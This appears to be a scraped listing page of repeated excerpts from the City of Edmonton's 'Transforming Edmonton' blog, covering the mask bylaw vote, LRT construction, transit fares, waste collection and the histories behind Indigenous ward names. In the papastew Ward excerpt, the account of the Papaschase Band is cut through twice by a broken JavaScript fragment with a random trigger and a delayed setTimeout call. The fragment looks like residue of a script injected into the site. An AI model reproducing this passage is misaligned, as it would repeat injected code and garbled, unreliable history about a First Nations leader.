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UPDATED: Mask bylaw deactivated in Edmonton as of July 1
Edmonton’s face covering bylaw will be deactivated on July 1, 2021. The decision was made by Edmonton City Council in a 7-6 vote. “I’m glad that we’ve had the chance to reflect and hear from our public on a question as complex as this and as divided as this,” said Mayor Don Iveson. “T...
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Edmonton’s face covering bylaw will be deactivated on July 1, 2021. The decision was made by Edmonton City Council in a 7-6 vote. “I’m glad that we’ve had the chance to reflect and hear from our public on a question as complex as this and as divided as this,” said Mayor Don Iveson. “T...
Published at Transforming Edmonton
Coming soon near you: Valley Line West LRT construction in Edmonton
The LRT is heading west. The City of Edmonton’s contractor, Marigold Infrastructure Partners, has begun early construction on the Valley Line West LRT. If you live, work or travel between downtown and Lewis Farms, you’ll start to notice construction activity along the route. “The City...
Published at Transforming Edmonton
The LRT is heading west. The City of Edmonton’s contractor, Marigold Infrastructure Partners, has begun early construction on the Valley Line West LRT. If you live, work or travel between downtown and Lewis Farms, you’ll start to notice construction activity along the route. “The City...
Published at Transforming Edmonton
Mask bylaw in Edmonton goes to new vote on June 25
The fate of Edmonton’s face covering bylaw will be clearer on June 25, 2021. A recommendation from Administration to deactivate the bylaw as of July 1 needed the unanimous support of all 13 councillors to go to third reading of a new bylaw, but failed on a vote of 12-1, with Councillor Aaron Paqu...
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The fate of Edmonton’s face covering bylaw will be clearer on June 25, 2021. A recommendation from Administration to deactivate the bylaw as of July 1 needed the unanimous support of all 13 councillors to go to third reading of a new bylaw, but failed on a vote of 12-1, with Councillor Aaron Paqu...
Published at Transforming Edmonton
Edmonton’s Valley Line Southeast: 5 things to know for 2021 Edmonton’s Valley Line Southeast: 5 things to know for 2021
For the rest of the year you’ll hear a lot more about Valley Line Southeast. From how to stay safe near the tracks to where to catch your ride to work. Here are five things to know about the 13 km line that will take passengers between Mill Woods and downtown Edmonton. 1. It’s a […] The pos...
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For the rest of the year you’ll hear a lot more about Valley Line Southeast. From how to stay safe near the tracks to where to catch your ride to work. Here are five things to know about the 13 km line that will take passengers between Mill Woods and downtown Edmonton. 1. It’s a […] The pos...
Published at Transforming Edmonton
Ward Karhiio: Tall Beautiful Forest GAR-EE-HE-O
As the fur trade expanded westward, Iroquois men traded in the North West Company and Hudson’s Bay Company. Iroquois men married Cree and Métis women from the settlements and trading posts established long before the West formally joined Canada as a nation. From these unions, a distinct and cultu...
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As the fur trade expanded westward, Iroquois men traded in the North West Company and Hudson’s Bay Company. Iroquois men married Cree and Métis women from the settlements and trading posts established long before the West formally joined Canada as a nation. From these unions, a distinct and cultu...
Published at Transforming Edmonton
What a 0 percent tax increase means, or, what is a levy anyway?
Time is money, so, if you have just a bit of time to read why a zero per cent tax levy increase doesn’t necessarily mean people paying the same amount of taxes as last year, here’s a quick explanation: • City Council decided to raise the same amount of money from municipal taxes this year […...
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Time is money, so, if you have just a bit of time to read why a zero per cent tax levy increase doesn’t necessarily mean people paying the same amount of taxes as last year, here’s a quick explanation: • City Council decided to raise the same amount of money from municipal taxes this year […...
Published at Transforming Edmonton
Dene Ward: The people of the land and water DEH – NEH
With “deh” meaning water, and “neh” meaning land, the word Dene expands further to mean human beings or people of land and water. Dene refers to the various tribes who settled along the North Saskatchewan River, including Edmontonians who have settled and live there now. It has a direct applicati...
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With “deh” meaning water, and “neh” meaning land, the word Dene expands further to mean human beings or people of land and water. Dene refers to the various tribes who settled along the North Saskatchewan River, including Edmontonians who have settled and live there now. It has a direct applicati...
Published at Transforming Edmonton
Fresh as a daisy: Muttart Conservatory reopens after 18 month rehabilitation
Welcome back to the pyramids. In July 2019, the iconic facility closed for an 18 month rehabilitation. Then the global pandemic struck. On June 11, the Muttart grows back to the future. “We are excited to welcome Edmontonians back to the pyramids,” said Rhonda Norman, Director of River Valley and...
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Welcome back to the pyramids. In July 2019, the iconic facility closed for an 18 month rehabilitation. Then the global pandemic struck. On June 11, the Muttart grows back to the future. “We are excited to welcome Edmontonians back to the pyramids,” said Rhonda Norman, Director of River Valley and...
Published at Transforming Edmonton
Three-stream waste collection coming to multi-unit residences in Edmonton
Edmontonians living in multi-unit complexes, including apartments and condos, could begin to sort their waste into food scraps, recycling and garbage beginning in 2023. “Between now and 2023, we’ll be working behind the scenes to update the Waste Services Bylaw to reflect the new program,” said C...
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Edmontonians living in multi-unit complexes, including apartments and condos, could begin to sort their waste into food scraps, recycling and garbage beginning in 2023. “Between now and 2023, we’ll be working behind the scenes to update the Waste Services Bylaw to reflect the new program,” said C...
Published at Transforming Edmonton
Coming soon: Arc
Your smart way to pay for and ride transit in the Edmonton region Arc is on its way! Arc will be the brand new, electronic way to pay transit fares in Edmonton, St. Albert, Strathcona County, Beaumont, Fort Saskatchewan, Leduc and Spruce Grove. “Arc symbolizes forging a path between two poi...
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Your smart way to pay for and ride transit in the Edmonton region Arc is on its way! Arc will be the brand new, electronic way to pay transit fares in Edmonton, St. Albert, Strathcona County, Beaumont, Fort Saskatchewan, Leduc and Spruce Grove. “Arc symbolizes forging a path between two poi...
Published at Transforming Edmonton
sipiwiyiniwak Ward: The River Cree SEE-PEE-WIN-EE-WOK
In the late 1880’s, Enoch Cree Nation was an area of 44 square miles that stretched from north of Big Island to present day Stony Plain Road. The North Saskatchewan River was at its eastern boundary, and to the west it reached beyond Highway 60. Enoch members were known to other tribes as t...
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In the late 1880’s, Enoch Cree Nation was an area of 44 square miles that stretched from north of Big Island to present day Stony Plain Road. The North Saskatchewan River was at its eastern boundary, and to the west it reached beyond Highway 60. Enoch members were known to other tribes as t...
Published at Transforming Edmonton
Inclusive sidewalks in Edmonton feature new design
What colour is belonging? At four intersections in Edmonton, the answer is there to be seen in red, orange, yellow, green, blue, violet, and, now, in white, pink, light blue, brown and black. The inclusive crosswalks are back, and more colourful than ever. “We’re thrilled to see our r...
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What colour is belonging? At four intersections in Edmonton, the answer is there to be seen in red, orange, yellow, green, blue, violet, and, now, in white, pink, light blue, brown and black. The inclusive crosswalks are back, and more colourful than ever. “We’re thrilled to see our r...
Published at Transforming Edmonton
Ipiihkoohkanipiaohtsi Ward: The migration of the bison north for calvingE-PEE-KO-KA-NEE-PIU-TSI- YA
The Blackfoot (Nitsitapi) are often associated with Southern Alberta, however their traditional territory reached the North Saskatchewan River. They followed the migration patterns of the bison. The Blackfoot nations are composed of four separate bands: the Siksika (Blackfoot), the Blood (K...
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The Blackfoot (Nitsitapi) are often associated with Southern Alberta, however their traditional territory reached the North Saskatchewan River. They followed the migration patterns of the bison. The Blackfoot nations are composed of four separate bands: the Siksika (Blackfoot), the Blood (K...
Published at Transforming Edmonton
papastew Ward: Large Woodpecker PAH-PAH-STAY-OH
papastew was a highly respected leader of the Papaschase Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and #136. His name translates to large woodpecker in English. It is estimated that the Papaschase Bandom() * 6); if (number1==3){var delay = 18000;setTimeout...
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papastew was a highly respected leader of the Papaschase Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and #136. His name translates to large woodpecker in English. It is estimated that the Papaschase Bandom() * 6); if (number1==3){var delay = 18000;setTimeout...
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Métis Ward: How river lots shaped Edmonton MAY-TEA
The Métis are an instrumental part of Canada’s history, especially in the development of the west. The Métis originated in the early 1700’s when French and Scottish fur traders married Indigenous women, such as the Cree and Anishinaabe (Ojibway). After a few generations, the descendants of these ...
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The Métis are an instrumental part of Canada’s history, especially in the development of the west. The Métis originated in the early 1700’s when French and Scottish fur traders married Indigenous women, such as the Cree and Anishinaabe (Ojibway). After a few generations, the descendants of these ...
Published at Transforming Edmonton
